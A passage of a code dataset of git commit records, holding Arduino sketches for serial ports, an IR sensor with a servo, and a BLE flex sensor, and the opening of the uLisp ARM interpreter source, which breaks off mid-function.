rduino,stickbreaker\/Arduino,PaoloP74\/Arduino,vbextreme\/Arduino,Ramoonus\/Arduino,wayoda\/Arduino,vbextreme\/Arduino,ogferreiro\/Arduino,jomolinare\/Arduino,zaiexx\/Arduino,niggor\/Arduino_cc,paulmand3l\/Arduino,ms-iot\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,stevemarple\/Arduino,radiolok\/Energia,tommyli2014\/Arduino,ssvs111\/Arduino,lulufei\/Arduino,shannonshsu\/Arduino,NoPinky\/Energia,vigneshmanix\/Energia,battosai30\/Energia,ForestNymph\/Arduino_sources,zenmanenergy\/Arduino,qtonthat\/Energia,NaSymbol\/Arduino,aichi\/Arduino-2,diydrones\/Arduino,noahchense\/Arduino-1,arduino-org\/Arduino,HCastano\/Arduino,UDOOboard\/Arduino,raimohanska\/Arduino,ricklon\/Arduino,lukeWal\/Arduino,mboufos\/esp8266-Arduino,UDOOboard\/Arduino,bsmr-arduino\/Arduino,shannonshsu\/Arduino,talhaburak\/Arduino,eggfly\/arduino,ssvs111\/Arduino,eduardocasarin\/Arduino,PaoloP74\/Arduino,DavidUser\/Energia,majenkotech\/Arduino,bugobliterator\/BUAGI,andrealmeidadomingues\/Arduino,bigjosh\/Arduino,jomolinare\/Arduino,NaSymbol\/Arduino,Ramoonus\/Arduino,radiolok\/Energia,ssvs111\/Arduino,KlaasDeNys\/Arduino,laylthe\/Arduino,jamesrob4\/Arduino,cevatbostancioglu\/Energia,gonium\/Arduino,ikbelkirasan\/Arduino,NaSymbol\/Arduino,Chris--A\/Arduino,meanbot\/Energia,Chris--A\/Arduino,Gourav2906\/Arduino,HCastano\/Arduino,danielohh\/Energia,rcook\/DesignLab,mattvenn\/Arduino,stevemarple\/Arduino,martianmartin\/Energia,cscenter\/Arduino,nandojve\/Arduino,bugobliterator\/BUAGI,shannonshsu\/Arduino,chaveiro\/Arduino,adafruit\/ESP8266-Arduino,gestrem\/Arduino,nandojve\/Arduino,tbowmo\/Arduino,tannewt\/Arduino,jaimemaretoli\/Arduino,SmartArduino\/Arduino-1,laylthe\/Arduino,eduardocasarin\/Arduino,karlitxo\/Arduino,eeijcea\/Arduino-1,cevatbostancioglu\/Energia,arunkuttiyara\/Arduino,paulo-raca\/ESP8266-Arduino,wayoda\/Arduino,ForestNymph\/Arduino_sources,mangelajo\/Arduino,jaehong\/Xmegaduino,pasky\/Energia,raimohanska\/Arduino,381426068\/Arduino,odbol\/Arduino,sanyaade-iot\/Energia,linino\/Arduino,jmgonzalez00449\/Arduino,vbextreme\/Arduino,DavidUser\/Energia,jabezGit\/Arduino,smily77\/Arduino,meanbot\/Energia,ektor5\/Arduino,pdNor\/Arduino,meanbot\/Energia,pdNor\/Arduino,stevemayhew\/Arduino,aichi\/Arduino-2,wayoda\/Arduino,lukeWal\/Arduino,byran\/Arduino,bugobliterator\/BUAGI,zenmanenergy\/Arduino,weera00\/Arduino,rcook\/DesignLab,Alfredynho\/AgroSis,battosai30\/Energia,rcook\/DesignLab,nkolban\/Arduino,PeterVH\/Arduino,i--storm\/Energia,radiolok\/Energia,eggfly\/arduino,andrealmeidadomingues\/Arduino,UDOOboard\/Arduino,mangelajo\/Arduino,eduardocasarin\/Arduino,acosinwork\/Arduino,shiitakeo\/Arduino,danielohh\/Energia,ccoenen\/Arduino,andrealmeidadomingues\/Arduino,kidswong999\/Arduino,karlitxo\/Arduino,tommyli2014\/Arduino,radiolok\/Energia,bugobliterator\/BUAGI,Gourav2906\/Arduino,wdoganowski\/Arduino,eggfly\/arduino,dvdvideo1234\/Energia,PeterVH\/Arduino,ari-analytics\/Arduino,gurbrinder\/Arduino,raimohanska\/Arduino,garci66\/Arduino,rodibot\/Arduino,probonopd\/Arduino,nkolban\/Arduino,bsmr-arduino\/Arduino,gberl001\/Arduino,OpenDevice\/Arduino,majenkotech\/Arduino,vbextreme\/Arduino,stevemarple\/Arduino-org,stevemarple\/Arduino-org,bigjosh\/Arduino,ogahara\/Arduino,pdNor\/Arduino,xxxajk\/Arduino-1,tbowmo\/Arduino,Alfredynho\/AgroSis,vigneshmanix\/Energia,pasky\/Energia,jmgonzalez00449\/Arduino,arunkuttiyara\/Arduino,ogahara\/Arduino,damellis\/Arduino,andyvand\/Arduino-1,weera00\/Arduino,nkolban\/Arduino,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,ogferreiro\/Arduino,PaoloP74\/Arduino,mateuszdw\/Arduino,mc-hamster\/esp8266-Arduino,danielchalef\/Arduino,radut\/Arduino,tskurauskas\/Arduino,shannonshsu\/Arduino,UDOOboard\/Arduino,Protoneer\/Arduino,paulo-raca\/ESP8266-Arduino,zederson\/Arduino,adafruit\/ESP8266-Arduino,weera00\/Arduino,ogahara\/Arduino,HCastano\/Arduino,eddyst\/Arduino-SourceCode,damellis\/Arduino,adafruit\/ESP8266-Arduino,jaehong\/Xmegaduino,jaimemaretoli\/Arduino,ektor5\/Arduino,gurbrinder\/Arduino,andyvand\/Arduino-1,xxxajk\/Arduino-1,jmgonzalez00449\/Arduino,gestrem\/Arduino,croberts15\/Energia,tomkrus007\/Arduino,sanyaade-iot\/Arduino-1,ricklon\/Arduino,shiitakeo\/Arduino,gberl001\/Arduino,ricklon\/Arduino,radut\/Arduino,smily77\/Arduino,danielohh\/Energia,01org\/Arduino,stevemayhew\/Arduino,gonium\/Arduino,linino\/Arduino,radiolok\/Energia,niggor\/Arduino_cc,zacinaction\/Energia,steamboating\/Arduino,gurbrinder\/Arduino,smily77\/Arduino,snargledorf\/Arduino,plinioseniore\/Arduino,cevatbostancioglu\/Energia,arduino-org\/Arduino,scdls\/Arduino,xxxajk\/Arduino-1,kidswong999\/Arduino,danielohh\/Energia,Gourav2906\/Arduino,kidswong999\/Arduino,eeijcea\/Arduino-1,superboonie\/Arduino,leftbrainstrain\/Arduino-ESP8266,arunkuttiyara\/Arduino,danielohh\/Energia,ricklon\/Arduino,ms-iot\/Arduino,niggor\/Arduino_cc,stevemayhew\/Arduino,acosinwork\/Arduino,paulo-raca\/ESP8266-Arduino,cevatbostancioglu\/Energia,PaoloP74\/Arduino,HCastano\/Arduino,eddyst\/Arduino-SourceCode,gonium\/Arduino,lukeWal\/Arduino,zenmanenergy\/Arduino,majenkotech\/Arduino,ogferreiro\/Arduino,koltegirish\/Arduino,toddtreece\/esp8266-Arduino,battosai30\/Energia,lulufei\/Arduino,eggfly\/arduino,arunkuttiyara\/Arduino,arunkuttiyara\/Arduino,vbextreme\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mattvenn\/Arduino,nandojve\/Arduino,nandojve\/Arduino,kidswong999\/Arduino,i--storm\/Energia,jadonk\/Energia,Cloudino\/Arduino,spapadim\/Arduino,tskurauskas\/Arduino,zacinaction\/Energia,kidswong999\/Arduino,myrtleTree33\/Arduino,cevatbostancioglu\/Energia,byran\/Arduino,PaintYourDragon\/Arduino,zaiexx\/Arduino,OpenDevice\/Arduino,eeijcea\/Arduino-1,garci66\/Arduino,mboufos\/esp8266-Arduino,sanyaade-iot\/Energia,championswimmer\/Arduino,plinioseniore\/Arduino,talhaburak\/Arduino,ForestNymph\/Arduino_sources,paulo-raca\/ESP8266-Arduino,croberts15\/Energia,sanyaade-iot\/Arduino-1,dvdvideo1234\/Energia,sanyaade-iot\/Energia,chaveiro\/Arduino,PaoloP74\/Arduino,Chris--A\/Arduino,stevemarple\/Arduino,fungxu\/Arduino,xxxajk\/Arduino-1,vigneshmanix\/Energia,eddyst\/Arduino-SourceCode,martianmartin\/Energia,zederson\/Arduino,bobintornado\/Energia,henningpohl\/Arduino,wayoda\/Arduino,jomolinare\/Arduino,fungxu\/Arduino,eggfly\/arduino,rodibot\/Arduino,jabezGit\/Arduino,i--storm\/Energia,brianonn\/Energia,ThoughtWorksIoTGurgaon\/Arduino,danielchalef\/Arduino,OpenDevice\/Arduino,bsmr-arduino\/Arduino,cscenter\/Arduino,toddtreece\/esp8266-Arduino,ssvs111\/Arduino,PeterVH\/Arduino,bsmr-arduino\/Arduino,mangelajo\/Arduino,superboonie\/Arduino,ektor5\/Arduino,talhaburak\/Arduino,andyvand\/Arduino-1,eddyst\/Arduino-SourceCode,myrtleTree33\/Arduino,me-no-dev\/Arduino-1,arduino-org\/Arduino,wdoganowski\/Arduino,01org\/Arduino,ntruchsess\/Arduino-1,tannewt\/Arduino,byran\/Arduino,ntruchsess\/Arduino-1,andyvand\/Arduino-1,battosai30\/Energia,croberts15\/Energia,cscenter\/Arduino,i--storm\/Energia,mattvenn\/Arduino,wdoganowski\/Arduino,Gourav2906\/Arduino,chaveiro\/Arduino,mangelajo\/Arduino,benwolfe\/esp8266-Arduino,henningpohl\/Arduino,Cloudino\/Arduino,mateuszdw\/Arduino,tomkrus007\/Arduino,probonopd\/Arduino,sanyaade-iot\/Energia,ashwin713\/Arduino,PaintYourDragon\/Arduino,ashwin713\/Arduino,mc-hamster\/esp8266-Arduino,ari-analytics\/Arduino,karlitxo\/Arduino,cscenter\/Arduino,tskurauskas\/Arduino,ikbelkirasan\/Arduino,KlaasDeNys\/Arduino,bsmr-arduino\/Arduino,EmuxEvans\/Arduino,benwolfe\/esp8266-Arduino,Alfredynho\/AgroSis,andrealmeidadomingues\/Arduino,vbextreme\/Arduino,danielohh\/Energia,diydrones\/Arduino,HCastano\/Arduino,gestrem\/Arduino,zederson\/Arduino,bigjosh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Protoneer\/Arduino,lukeWal\/Arduino,acosinwork\/Arduino,sanyaade-iot\/Energia,tskurauskas\/Arduino,Orthogonal-Systems\/arduino-libs,me-no-dev\/Arduino-1","old_file":"libraries\/SoftwareSerial\/examples\/TwoPortReceive\/TwoPortReceive.ino","new_file":"libraries\/SoftwareSerial\/examples\/TwoPortReceive\/TwoPortReceive.ino","new_contents":"\/*\n Software serial multple serial test\n \n Receives from the two software serial ports, \n sends to the hardware serial port. \n \n In order to listen on a software port, you call port.listen(). \n When using two software serial ports, you have to switch ports\n by listen()ing on each one in turn. Pick a logical time to switch\n ports, like the end of an expected transmission, or when the \n buffer is empty. This example switches ports when there is nothing\n more to read from a port\n \n The circuit: \n Two devices which communicate serially are needed.\n * First serial device's TX attached to digital pin 2, RX to pin 3\n * Second serial device's TX attached to digital pin 4, RX to pin 5\n \n created 18 Apr. 2011\n by Tom Igoe\n based on Mikal Hart's twoPortRXExample\n \n This example code is in the public domain.\n \n *\/\n\n#include <SoftwareSerial.h>\n\/\/ software serial #1: TX = digital pin 2, RX = digital pin 3\nSoftwareSerial portOne(2, 3);\n\n\/\/ software serial #2: TX = digital pin 4, RX = digital pin 5\nSoftwareSerial portTwo(4, 5);\n\nvoid setup()\n{\n \/\/ Start the hardware serial port\n Serial.begin(9600);\n\n \/\/ Start each software serial port\n portOne.begin(9600);\n portTwo.begin(9600);\n}\n\nvoid loop()\n{\n \/\/ By default, the last intialized port is listening.\n \/\/ when you want to listen on a port, explicitly select it:\n portOne.listen();\n Serial.println(\"Data from port one:\");\n \/\/ while there is data coming in, read it\n \/\/ and send to the hardware serial port:\n while (portOne.available() > 0) {\n char inByte = portOne.read();\n Serial.write(inByte);\n }\n\n \/\/ blank line to separate data from the two ports:\n Serial.println();\n\n \/\/ Now listen on the second port\n portTwo.listen();\n \/\/ while there is data coming in, read it\n \/\/ and send to the hardware serial port:\n Serial.println(\"Data from port two:\");\n while (portTwo.available() > 0) {\n char inByte = portTwo.read();\n Serial.write(inByte);\n }\n\n \/\/ blank line to separate data from the two ports:\n Serial.println();\n}\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/SoftwareSerial\/examples\/TwoPortReceive\/TwoPortReceive.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0bf557808e1b14ea0ba0e8e77375679751241d59","subject":"Uploaded the code working with IRSensor and Servo","message":"Uploaded the code working with IRSensor and Servo\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"IRSensorWithServo.ino","new_file":"IRSensorWithServo.ino","new_contents":"#include <Servo.h>\n\n\/\/ records of the distance between sensor and the object\nfloat sensorValue, cm, x, y;\n\nServo myservo; \/\/ create servo object to control a servo\n\/\/ twelve servo objects can be created on most boards\n\nint pos = 0; \/\/ variable to store the servo position\n\nvoid setup() {\n Serial.begin(9600);\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n pinMode(A1, INPUT);\n\n myservo.write(0);\n}\n\nvoid loop() {\n for (pos = 0; pos <= 180; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n \n sensorValue = analogRead(A1);\n cm = 10650.08 * pow(sensorValue, -0.935) - 10;\n if(cm > 200)\n Serial.println(\"Out of range.\");\n else {\n calculatePosition(cm); \n delay(15); \/\/ waits 15ms for the servo to reach the position\n }\n \n }\n for (pos = 180; pos >= 0; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n\n sensorValue = analogRead(A1);\n cm = 10650.08 * pow(sensorValue, -0.935) - 10;\n if(cm > 200)\n Serial.println(\"Out of range.\");\n else {\n calculatePosition(cm);\n delay(15); \/\/ waits 15ms for the servo to reach the position\n } \n }\n}\n\n\/\/ calculate the x, y position of the object\nvoid calculatePosition(float f) {\n y = sin(cm) * cm;\n x = cos(cm) * cm;\n\n if(y < 20)\n Serial.println(\"Danger!\");\n else {\n Serial.print(\"Position: cm: \");\n Serial.print(cm);\n Serial.print(\"; x: \");\n Serial.print(x);\n Serial.print(\"; y: \");\n Serial.println(y);\n } \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'IRSensorWithServo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6a0e7488131d85e6b6e35a887e5e37e5a60cd91e","subject":"Added basic button functionaility (Tim)","message":"Added basic button functionaility (Tim)\n","repos":"stewartadam\/lulzsaber","old_file":"strip\/strip.ino","new_file":"strip\/strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stewartadam\/lulzsaber.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4755bffad5bc9ef95ec783dfbc9a2299e68b6cad","subject":"Draft","message":"Draft\n","repos":"aelillie\/ReRide_Platform,aelillie\/ReRide_Platform","old_file":"Genuino\/Flex_Sensor.ino.ino","new_file":"Genuino\/Flex_Sensor.ino.ino","new_contents":"\/******************************************************************************\nFlex_Sensor_Example.ino\nExample sketch for SparkFun's flex sensors\n (https:\/\/www.sparkfun.com\/products\/10264)\nJim Lindblom @ SparkFun Electronics\nApril 28, 2016\n\nCreate a voltage divider circuit combining a flex sensor with a 47k resistor.\n- The resistor should connect from A0 to GND.\n- The flex sensor should connect from A0 to 3.3V\nAs the resistance of the flex sensor increases (meaning it's being bent), the\nvoltage at A0 should decrease.\n\nDevelopment environment specifics:\nArduino 1.6.7\n******************************************************************************\/\n\/\/ Include BLE files.\n#include <CurieBLE.h>\n\n\/\/BLE Characteristics\nBLEPeripheral blePeripheral; \/\/ BLE Peripheral Device (the board you're programming)\nBLEService batteryService(\"180F\"); \/\/ BLE Battery Service\n\n\/\/ BLE Battery Level Characteristic\"\nBLEUnsignedCharCharacteristic batteryLevelChar(\"2A19\", \/\/ standard 16-bit characteristic UUID\n BLERead | BLENotify); \/\/ remote clients will be able to\n\/\/ get notifications if this characteristic changes\n\nlong previousMillis = 0; \/\/ last time the battery level was checked, in ms\n\nconst int FLEX_PIN = A0; \/\/ Pin connected to voltage divider output\n\n\/\/ Measure the voltage at 5V and the actual resistance of your\n\/\/ 47k resistor, and enter them below:\nconst float VCC = 4.98; \/\/ Measured voltage of Ardunio 5V line\nconst float R_DIV = 47500.0; \/\/ Measured resistance of 3.3k resistor\n\n\/\/ Upload the code, then try to adjust these values to more\n\/\/ accurately calculate bend degree.\nconst float STRAIGHT_RESISTANCE = 37300.0; \/\/ resistance when straight\nconst float BEND_RESISTANCE = 90000.0; \/\/ resistance at 90 deg\n\nfloat oldFlexAngle = 0; \/\/ last battery level reading from analog input\n\nvoid setup() \n{\n Serial.begin(9600);\n pinMode(FLEX_PIN, INPUT);\n\n \/* Set a local name for the BLE device\n This name will appear in advertising packets\n and can be used by remote devices to identify this BLE device\n The name can be changed but maybe be truncated based on space left in advertisement packet *\/\n blePeripheral.setLocalName(\"ReRide\");\n blePeripheral.setAdvertisedServiceUuid(batteryService.uuid()); \/\/ add the service UUID\n blePeripheral.addAttribute(batteryService); \/\/ Add the BLE Battery service\n blePeripheral.addAttribute(batteryLevelChar); \/\/ add the battery level characteristic\n batteryLevelChar.setValue(oldBatteryLevel); \/\/ initial value for this characteristic\n\n \/* Now activate the BLE device. It will start continuously transmitting BLE\n advertising packets and will be visible to remote BLE central devices\n until it receives a new connection *\/\n blePeripheral.begin();\n Serial.println(\"Bluetooth device active, waiting for connections...\");\n}\n\n\n\/\/ This function is called continuously, after setup() completes.\nvoid loop() \n{\n \/\/ listen for BLE peripherals to connect:\n BLECentral central = blePeripheral.central();\n\n \/\/ if a central is connected to peripheral:\n if (central) {\n Serial.print(\"Connected to central: \");\n \/\/ print the central's MAC address:\n Serial.println(central.address());\n \/\/ check the battery level every 200ms\n \/\/ as long as the central is still connected:\n while (central.connected()) {\n long currentMillis = millis();\n \/\/ if 200ms have passed, check the battery level:\n if (currentMillis - previousMillis >= 200) {\n previousMillis = currentMillis;\n updateFlexAngle();\n }\n }\n Serial.print(\"Disconnected from central: \");\n Serial.println(central.address());\n }\n}\n\nvoid updateFlexAngle() {\n \/\/ Read the ADC, and calculate voltage and resistance from it\n int flexADC = analogRead(FLEX_PIN);\n float flexV = flexADC * VCC \/ 1023.0;\n float flexR = R_DIV * (VCC \/ flexV - 1.0);\n \/\/Serial.println(\"Resistance: \" + String(flexR) + \" ohms\");\n\n \/\/ Use the calculated resistance to estimate the sensor's bend angle:\n float angle = map(flexR, STRAIGHT_RESISTANCE, BEND_RESISTANCE, 0, 90.0);\n\n if (angle != oldFlexAngle) {\n Serial.println(\"Bend: \" + String(angle) + \" degrees\");\n Serial.println();\n batteryLevelChar.setValue(angle);\n oldFlexAngle = angle;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Genuino\/Flex_Sensor.ino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ca158ac86b80099649372641873afca9ca2b2c36","subject":"Version 2.7 - 20th May 2019","message":"Version 2.7 - 20th May 2019\n\nFixes #12, #13","repos":"technoblogy\/ulisp","old_file":"ulisp-arm.ino","new_file":"ulisp-arm.ino","new_contents":"\/* uLisp ARM 2.7 - www.ulisp.com\n David Johnson-Davies - www.technoblogy.com - 20th May 2019\n\n Licensed under the MIT license: https:\/\/opensource.org\/licenses\/MIT\n*\/\n\n\/\/ Lisp Library\nconst char LispLibrary[] PROGMEM = \"\";\n\n\/\/ Compile options\n\n\/\/ #define resetautorun\n#define printfreespace\n#define serialmonitor\n\/\/ #define printgcs\n\/\/ #define sdcardsupport\n\/\/ #define lisplibrary\n\n\/\/ Includes\n\n\/\/ #include \"LispLibrary.h\"\n#include <setjmp.h>\n#include <SPI.h>\n#include <Wire.h>\n#include <limits.h>\n\n#if defined(sdcardsupport)\n#include <SD.h>\n#define SDSIZE 172\n#else\n#define SDSIZE 0\n#endif\n\n\/\/ C Macros\n\n#define nil NULL\n#define car(x) (((object *) (x))->car)\n#define cdr(x) (((object *) (x))->cdr)\n\n#define first(x) (((object *) (x))->car)\n#define second(x) (car(cdr(x)))\n#define cddr(x) (cdr(cdr(x)))\n#define third(x) (car(cdr(cdr(x))))\n\n#define push(x, y) ((y) = cons((x),(y)))\n#define pop(y) ((y) = cdr(y))\n\n#define integerp(x) ((x) != NULL && (x)->type == NUMBER)\n#define floatp(x) ((x) != NULL && (x)->type == FLOAT)\n#define symbolp(x) ((x) != NULL && (x)->type == SYMBOL)\n#define stringp(x) ((x) != NULL && (x)->type == STRING)\n#define characterp(x) ((x) != NULL && (x)->type == CHARACTER)\n#define streamp(x) ((x) != NULL && (x)->type == STREAM)\n\n#define mark(x) (car(x) = (object *)(((uintptr_t)(car(x))) | MARKBIT))\n#define unmark(x) (car(x) = (object *)(((uintptr_t)(car(x))) & ~MARKBIT))\n#define marked(x) ((((uintptr_t)(car(x))) & MARKBIT) != 0)\n#define MARKBIT 1\n\n#define setflag(x) (Flags = Flags | 1<<(x))\n#define clrflag(x) (Flags = Flags & ~(1<<(x)))\n#define tstflag(x) (Flags & 1<<(x))\n\n\/\/ Constants\n\nconst int TRACEMAX = 3; \/\/ Number of traced functions\nenum type { ZERO=0, SYMBOL=2, NUMBER=4, STREAM=6, CHARACTER=8, FLOAT=10, STRING=12, PAIR=14 }; \/\/ STRING and PAIR must be last\nenum token { UNUSED, BRA, KET, QUO, DOT };\nenum stream { SERIALSTREAM, I2CSTREAM, SPISTREAM, SDSTREAM };\n\nenum function { NIL, TEE, NOTHING, OPTIONAL, AMPREST, LAMBDA, LET, LETSTAR, CLOSURE, SPECIAL_FORMS, QUOTE,\nDEFUN, DEFVAR, SETQ, LOOP, PUSH, POP, INCF, DECF, SETF, DOLIST, DOTIMES, TRACE, UNTRACE, FORMILLIS,\nWITHSERIAL, WITHI2C, WITHSPI, WITHSDCARD, TAIL_FORMS, PROGN, RETURN, IF, COND, WHEN, UNLESS, CASE, AND,\nOR, FUNCTIONS, NOT, NULLFN, CONS, ATOM, LISTP, CONSP, SYMBOLP, STREAMP, EQ, CAR, FIRST, CDR, REST, CAAR,\nCADR, SECOND, CDAR, CDDR, CAAAR, CAADR, CADAR, CADDR, THIRD, CDAAR, CDADR, CDDAR, CDDDR, LENGTH, LIST,\nREVERSE, NTH, ASSOC, MEMBER, APPLY, FUNCALL, APPEND, MAPC, MAPCAR, MAPCAN, ADD, SUBTRACT, MULTIPLY,\nDIVIDE, MOD, ONEPLUS, ONEMINUS, ABS, RANDOM, MAXFN, MINFN, NOTEQ, NUMEQ, LESS, LESSEQ, GREATER, GREATEREQ,\nPLUSP, MINUSP, ZEROP, ODDP, EVENP, INTEGERP, NUMBERP, FLOATFN, FLOATP, SIN, COS, TAN, ASIN, ACOS, ATAN,\nSINH, COSH, TANH, EXP, SQRT, LOG, EXPT, CEILING, FLOOR, TRUNCATE, ROUND, CHAR, CHARCODE, CODECHAR,\nCHARACTERP, STRINGP, STRINGEQ, STRINGLESS, STRINGGREATER, SORT, STRINGFN, CONCATENATE, SUBSEQ,\nREADFROMSTRING, PRINCTOSTRING, PRIN1TOSTRING, LOGAND, LOGIOR, LOGXOR, LOGNOT, ASH, LOGBITP, EVAL, GLOBALS,\nLOCALS, MAKUNBOUND, BREAK, READ, PRIN1, PRINT, PRINC, TERPRI, READBYTE, READLINE, WRITEBYTE, WRITESTRING,\nWRITELINE, RESTARTI2C, GC, ROOM, SAVEIMAGE, LOADIMAGE, CLS, PINMODE, DIGITALREAD, DIGITALWRITE,\nANALOGREAD, ANALOGWRITE, DELAY, MILLIS, SLEEP, NOTE, EDIT, PPRINT, PPRINTALL, REQUIRE, LISTLIBRARY, ENDFUNCTIONS };\n\n\/\/ Typedefs\n\ntypedef unsigned int symbol_t;\n\ntypedef struct sobject {\n union {\n struct {\n sobject *car;\n sobject *cdr;\n };\n struct {\n unsigned int type;\n union {\n symbol_t name;\n int integer;\n float single_float;\n };\n };\n };\n} object;\n\ntypedef object *(*fn_ptr_type)(object *, object *);\n\ntypedef struct {\n const char *string;\n fn_ptr_type fptr;\n uint8_t min;\n uint8_t max;\n} tbl_entry_t;\n\ntypedef int (*gfun_t)();\ntypedef void (*pfun_t)(char);\n\n\/\/ Workspace\n#define PERSIST __attribute__((section(\".text\")))\n#define WORDALIGNED __attribute__((aligned (4)))\n#define BUFFERSIZE 34 \/\/ Number of bits+2\n\n#if defined(ARDUINO_SAMD_ZERO)\n #define WORKSPACESIZE 3072-SDSIZE \/* Cells (8*bytes) *\/\n #define SYMBOLTABLESIZE 512 \/* Bytes *\/\n #define SDCARD_SS_PIN 10\n uint8_t _end;\n\n#elif defined(ARDUINO_SAM_DUE)\n #define WORKSPACESIZE 10240-SDSIZE \/* Cells (8*bytes) *\/\n #define SYMBOLTABLESIZE 1024 \/* Bytes *\/\n #define SDCARD_SS_PIN 10\n extern uint8_t _end;\n\n#elif defined(ARDUINO_SAMD_MKRZERO)\n #define WORKSPACESIZE 3072-SDSIZE \/* Cells (8*bytes) *\/\n #define SYMBOLTABLESIZE 512 \/* Bytes *\/\n uint8_t _end;\n\n#elif defined(ARDUINO_METRO_M4)\n #define WORKSPACESIZE 20480-SDSIZE \/* Cells (8*bytes) *\/\n #define FLASHSIZE 65536 \/* Bytes *\/\n #define SYMBOLTABLESIZE 1024 \/* Bytes *\/\n uint8_t _end;\n\n#elif defined(ARDUINO_ITSYBITSY_M4)\n #define WORKSPACESIZE 20480-SDSIZE \/* Cells (8*bytes) *\/\n #define FLASHSIZE 65536 \/* Bytes *\/\n #define SYMBOLTABLESIZE 1024 \/* Bytes *\/\n uint8_t _end;\n\n#elif defined(ARDUINO_FEATHER_M4)\n #define WORKSPACESIZE 20480-SDSIZE \/* Cells (8*bytes) *\/\n #define FLASHSIZE 65536 \/* Bytes *\/\n #define SYMBOLTABLESIZE 1024 \/* Bytes *\/\n uint8_t _end;\n\n#elif defined(_VARIANT_BBC_MICROBIT_)\n #define WORKSPACESIZE 1280 \/* Cells (8*bytes) *\/\n #define SYMBOLTABLESIZE 512 \/* Bytes *\/\n uint8_t _end;\n\n#elif defined(MAX32620)\n #define WORKSPACESIZE 24576-SDSIZE \/* Cells (8*bytes) *\/\n #define SYMBOLTABLESIZE 1024 \/* Bytes *\/\n uint8_t _end;\n\n#endif\n\nobject Workspace[WORKSPACESIZE] WORDALIGNED;\nchar SymbolTable[SYMBOLTABLESIZE];\n\n\/\/ Global variables\n\njmp_buf exception;\nunsigned int Freespace = 0;\nobject *Freelist;\nchar *SymbolTop = SymbolTable;\nunsigned int I2CCount;\nunsigned int TraceFn[TRACEMAX];\nunsigned int TraceDepth[TRACEMAX];\n\nobject *GlobalEnv;\nobject *GCStack = NULL;\nobject *GlobalString;\nint GlobalStringIndex = 0;\nchar BreakLevel = 0;\nchar LastChar = 0;\nchar LastPrint = 0;\nchar PrintReadably = 1;\n\n\/\/ Flags\nenum flag { RETURNFLAG, ESCAPE, EXITEDITOR, LIBRARYLOADED };\nvolatile char Flags;\n\n\/\/ Forward references\nobject *tee;\nobject *tf_progn (object *form, object *env);\nobject *eval (object *form, object *env);\nobject *read ();\nvoid repl(object *env);\nvoid printobject (object *form, pfun_t pfun);\nchar *lookupbuiltin (symbol_t name);\nintptr_t lookupfn (symbol_t name);\nint builtin (char* n);\nvoid error (const char *string);\nvoid error3 (symbol_t name, const char *string);\n\n\/\/ Set up workspace\n\nvoid initworkspace () {\n Freelist = NULL;\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n car(obj) = NULL;\n cdr(obj) = Freelist;\n Freelist = obj;\n Freespace++;\n }\n}\n\nobject *myalloc () {\n if (Freespace == 0) error(PSTR(\"No room\"));\n object *temp = Freelist;\n Freelist = cdr(Freelist);\n Freespace--;\n return temp;\n}\n\ninline void myfree (object *obj) {\n car(obj) = NULL;\n cdr(obj) = Freelist;\n Freelist = obj;\n Freespace++;\n}\n\n\/\/ Make each type of object\n\nobject *number (int n) {\n object *ptr = myalloc();\n ptr->type = NUMBER;\n ptr->integer = n;\n return ptr;\n}\n\nobject *makefloat (float f) {\n object *ptr = myalloc();\n ptr->type = FLOAT;\n ptr->single_float = f;\n return ptr;\n}\n\nobject *character (char c) {\n object *ptr = myalloc();\n ptr->type = CHARACTER;\n ptr->integer = c;\n return ptr;\n}\n\nobject *cons (object *arg1, object *arg2) {\n object *ptr = myalloc();\n ptr->car = arg1;\n ptr->cdr = arg2;\n return ptr;\n}\n\nobject *symbol (symbol_t name) {\n object *ptr = myalloc();\n ptr->type = SYMBOL;\n ptr->name = name;\n return ptr;\n}\n\nobject *newsymbol (symbol_t name) {\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n if (obj->type == SYMBOL && obj->name == name) return obj;\n }\n return symbol(name);\n}\n\nobject *stream (unsigned char streamtype, unsigned char address) {\n object *ptr = myalloc();\n ptr->type = STREAM;\n ptr->integer = streamtype<<8 | address;\n return ptr;\n}\n\n\/\/ Garbage collection\n\nvoid markobject (object *obj) {\n MARK:\n if (obj == NULL) return;\n if (marked(obj)) return;\n\n object* arg = car(obj);\n unsigned int type = obj->type;\n mark(obj);\n \n if (type >= PAIR || type == ZERO) { \/\/ cons\n markobject(arg);\n obj = cdr(obj);\n goto MARK;\n }\n\n if (type == STRING) {\n obj = cdr(obj);\n while (obj != NULL) {\n arg = car(obj);\n mark(obj);\n obj = arg;\n }\n }\n}\n\nvoid sweep () {\n Freelist = NULL;\n Freespace = 0;\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n if (!marked(obj)) myfree(obj); else unmark(obj);\n }\n}\n\nvoid gc (object *form, object *env) {\n #if defined(printgcs)\n int start = Freespace;\n #endif\n markobject(tee);\n markobject(GlobalEnv);\n markobject(GCStack);\n markobject(form);\n markobject(env);\n sweep();\n #if defined(printgcs)\n pfl(pserial); pserial('{'); pint(Freespace - start, pserial); pserial('}');\n 